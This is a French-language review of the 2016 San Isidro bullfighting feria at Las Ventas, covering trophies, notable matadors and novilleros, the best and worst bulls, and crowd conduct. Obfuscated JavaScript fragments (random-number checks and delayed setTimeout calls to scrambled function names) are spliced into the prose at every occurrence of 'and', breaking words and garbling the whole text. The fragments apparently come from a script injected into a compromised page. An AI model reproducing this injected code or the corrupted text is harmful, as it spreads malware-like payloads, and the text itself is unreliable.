SAN ISIDRO 2016 : C’EST FINI

San Isidro c’est fini. Du 6 mai au 5 juin. De Valdefresno à Miura. De Miguel Abellán à Pérez Mota. De « Buscavísperas » à Ojeador. Au total : 138 toros et 18 novillos estoqués, et 24 toros pour des toreros à cheval ; 43 matadors de toros, 8 novilleros et 9 toreros à cheval. Quatre Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes Portes pour les matadors Roca Rey, David Mora, López Simón et Manzanares et quatre autres pour les rejoneadores Andy Cartagena, Leonardo Hernández (deux) et Sergio Galán, mais elle aurait dû aussi s’ouvrir pour Diego Ventura, si la présidence ne s’était pas montrée si incompréhensiblement entêtée.

Ont également coupé une oreille : Ureña et Talavante (qui l’obtinrent deux après-midi), Juan Bautista, Morenito de Arandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda, Juan del Alamo et Alberto Aguilar, pour l’escalafon supérieur ; Luis David Adame et Juan de Castilla, concernant celui des novilleros et Diego Ventura et Léa Vicens pour le toreo à cheval. Quant à la statistique des blessés, heureusement on n’en compte que deux : le matador Gonzalo Caballero et le novillero Luis David Adame, qui d’un autre côté a été déclaré novillero triomphateur de cette feria.

Mis à part les prix et les trophées, et me référant uniquement aux toreros à pied, de cette San Isidro sortent renforcés José María Manzanares qui toréa à merveille de la main gauche et fut très complet depuis la cape jusqu’à l’estocade devant un toro extraordinaire de Victoriano del Rio, dont la corrida fut la plus complète de la feria ; Andrés Roca Rey qui, au-delà des toros et du public, se révéla une nouvelle fois comme une prochaine grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande figura de la tauromachie ; Paco Ureña, qui a la pureté et la fragilité dans la cristalline profondeur de sa tauromachie ; David Mora, qui sut émouvoir Madrid avec sa faena devant le toro qui pour moi a été le meilleur du cycle ; Alejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andro Talavante qui a démontré le bon moment qu’il traverse dans sa carrière devant les presque six cents kilos du « jabonero sucio » (blanc sale) de Cuvillo, et López Simón qui ouvrant la grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande porte a sauvé au dernier moment celle qui était pour lui jusqu’alors une mauvaise feria de San Isidro.

Je garde en moi aussi le temple de brise des naturelles de Castella au toro d’Adolfo, la race de légionnaire de Rafaelillo, combinant la poigne et le relâchement devant l’imposant du toro gris d’Adolfo, et m’a semblée aussi très méritoire, même si le public ce jour-là semblait être ailleurs, la prestation de Rubén Pinar devant les Cuadris. Et parmi les novilleros, deux se sont distingués : un qui ne l’est plus, Alvaro Lorenzo, et un autre qui m’a surpris très agréablement et que j’ai très envie de revoir : Luis David Adame.

Trois toros ont été d’un niveau supérieur. Par ordre de préférence : « Malagueño » de Alcurrucén, auquel coupa les oreilles David Mora ; « Dalia » de Victoriano del Rio, avec lequel ouvrit la grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande porte Manzanares ; et « Camarín » de Baltasar Ibán, dont la bravoure fut le support qui permit à Alberto Aguilar de se retrouver avec l’aficion de Madrid. La croix et la bannière avec trois toros qui par leurs difficultés et leur manque de race méritent l’honneur douteux qu’on se souvienne de leurs noms pour leur facettes très négatives:  « Cazarreta », de Saltillo, de ceux qui voient de loin et non de près, dont le combat avisé fut « récompensé » avec des bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderilles noires, et son matador passa un très mauvais quart d’heure ; « Gladiador », remplaçant de Torrealta, devant lequel Iván Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andiño passa l’un des pires moments de sa carrière, et « Luvino », un autre « phénomène » de Saltillo, qui fut un calvaire pour ceux qui eurent à l’affronter. Celui-là ne put empêcher de le faire repartir vivant José Carlos Venegas, comme cela se produisit aussi avec un de Montealto et José Manuel Mas.

Enfin, il y eut un peu de tout et sûrement quelques oublis qui seront sans doute injustes. Bien sûr, je ne voudrais oublier de critiquer les mauvaises manières du tendido 7 ni le comportement idiot d’un type qui pendant toute la feria n’a cessé de siffler. Même si certains essayent de le cacher, quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and le Saint Office est antipathique, les arènes de Las Ventas deviennent les plus grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes arènes de village au monde.

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